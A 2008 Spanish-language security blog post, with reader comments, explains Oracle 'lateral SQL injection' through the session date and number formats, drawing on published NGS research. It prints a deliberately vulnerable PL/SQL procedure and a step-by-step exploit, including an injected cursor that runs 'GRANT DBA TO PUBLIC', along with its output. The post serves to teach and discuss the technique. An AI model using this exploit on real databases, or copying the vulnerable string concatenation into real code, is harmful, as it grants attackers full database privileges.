lunes, mayo 12, 2008

SQL Injection... de medio "lao"

Hola lusers!

La experiencia me dice que cuando he puesto algo que ha tenido que ver con seguridad informática en este blog siempre la machacáis, la exprimís y la mejoráis. La prueba de esto han sido los retos hacking dónde los jugadores se han portado como un torrente de agua desbordando las medidas de seguridad y los caminos preparados para la solución, aportando nuevas ideas, mejoras y nuevos resultados.

Hoy os voy a plantear una idea de la gente de NGS que seguro que a muchos de vosotros os abre nuevos caminos. A mí se me ha ocurrido alguna forma de sacar provecho de esto en algunos escenarios, pero seguro que a vosotros se os ocurren mejores que a mí.

La idea es hacer un ataque de SQL Injection aprovechando el formato de fecha en Oracle. Pensad en un procedimiento que no recibe como parámetro nada, y que sólo utiliza la fecha del sistema para realizar una consulta SQL.

create or replace procedure date_proc is
stmt varchar2(200);
v_date date:=sysdate;
begin
stmt:='select object_name from all_objects where created = ''' ||v_date || '''';
dbms_output.put_line(stmt);
execute immediate stmt;
end;
/


Si alguien puede cambiar el formato de la fecha podría hacer que todas las fechas tuvieran inyectadas las comillas. Ejemplo:

SQL> ALTER SESSION SET NLS_DATE_FORMAT = '"THIS IS A SINGLE QUOTE ''"';
Session altered.
SQL> SELECT SYSDATE FROM DUAL;
SYSDATE
------------------------
THIS IS A SINGLE QUOTE '


En este caso, al ejecutar el procedimiento se obtendría un error

SQL> EXEC DATE_PROC();
BEGIN DATE_PRC(); END;
*
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "SYS.DATE_PRC", line 7
ORA-06512: at line 1


Una vez que se ha podido inyectar un comilla, podemos inyectar la ejecución de un cursor. Para eso, creamos un cursor que de permisos de DBA al Rol PUBLIC.

SQL> SET SERVEROUTPUT ON
SQL> DECLARE
2 N NUMBER;
3 BEGIN
4 N:=DBMS_SQL.OPEN_CURSOR();
5 DBMS_SQL.PARSE(N,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN
EXECUTE IMMEDIATE ''GRANT DBA TO PUBLIC''; END;',0);
6 DBMS_OUTPUT.PUT_LINE('Cursor is: '|| N);
7 END;
8 /
Cursor is: 4

PL/SQL procedure successfully completed.


Y hacemos que se ejecute el cursor número 4 por medio del formato de fecha.

SQL> ALTER SESSION SET NLS_DATE_FORMAT = '"'' AND
DBMS_SQL.EXECUTE(4)=1--"';
Session altered.


Cuando se ejecuta se ha inyectado la ejecución del cursor y Oracle OUT!.

SQL> EXEC DATE_PROC();
select object_name from all_objects where CREATED = '' AND
DBMS_SQL.EXECUTE(4)=1--'
PL/SQL procedure successfully completed.


En el documento publicado también se aporta la posibilidad de realizar con los formatos numéricos:

SQL> ALTER SESSION SET NLS_NUMERIC_CHARACTERS = '''.' ;

Tenéis los documentos en la web de NGS

- Lateral SQL Injection
- Cursor Injection

Pero… esto de utilizar los formatos de tipos de datos para inyectar comandos… ¿se os ocurre dónde puede utilizarse con alguna idea maliciosa? ¿Algún entorno en el que se pueda explotar esta idea?

Saludos Malignos!

5 comentarios:

Tonio dijo...

Veo Chema que tu blog esta plagado de Linuxeros (viva viva!! jeje) hay diferencia de cuando pones una entrada -caliente- a cuando pones algo 'distinto'.

O acaso será que es lunes???? no sé en todo caso, aquí en Lugo calienta el sol -por decir algo-

A lo que preguntas -ni putaidea, como te comentao en algún corro-e aún estoy estudiando!!-

Ale!

Tonio dijo...

Una pregunta como es posible que Oracle que basicamente centra su negocio en una base de datos (si me equivoco decirlo) tenga vulneravilidades de este tipo??

Como es posible que Sql-Server sea una 0,0 ??

¿...?

Anónimo dijo...

curioso, nunca se me habría ocurrido esto, pensaré en ello :D

@tonio: si no me equivoco, cuando hablamos de algún tipo de injection no hablamos de fallos en el motor de la base de datos, hablamos de fallos a la hora de programar del usuario final.

Chema Alonso dijo...

@kane, no es cierto. Las bases de datos vienen con un complejo conjunto de procedimientos que también pueden ser vulnerables a SQL Injection y da igual que no pongas ninguna app de usuario por encima.

Este es el caso de Oracle en muuuchas ocasiones.

Saludos!

Anónimo dijo...

Para mí este es un hack al lenguaje SQL, pero no me parece una forma natural de programar. No se me ocurre una situación donde haya programado de esta forma, no me parece natural o la forma más fácil. Menos lo veo metiendo parámetros de usuario.

Por otro lado una posible situación para explotarlo sería si tengo acceso a la BD y alguien programó esto de esta forma, rebuscadilla. En ese caso ya estoy dentro, seguro que hay formas menos rebuscadas de sacar partido. En cualquier caso ya tenía un problema

Entrada destacada

10 maneras de sacarle el jugo a tu cuenta de @MyPublicInbox si eres un Perfil Público

Cuando doy una charla a algún amigo, conocido, o a un grupo de personas que quieren conocer MyPublicInbox , siempre se acaban sorprendiendo ...

Entradas populares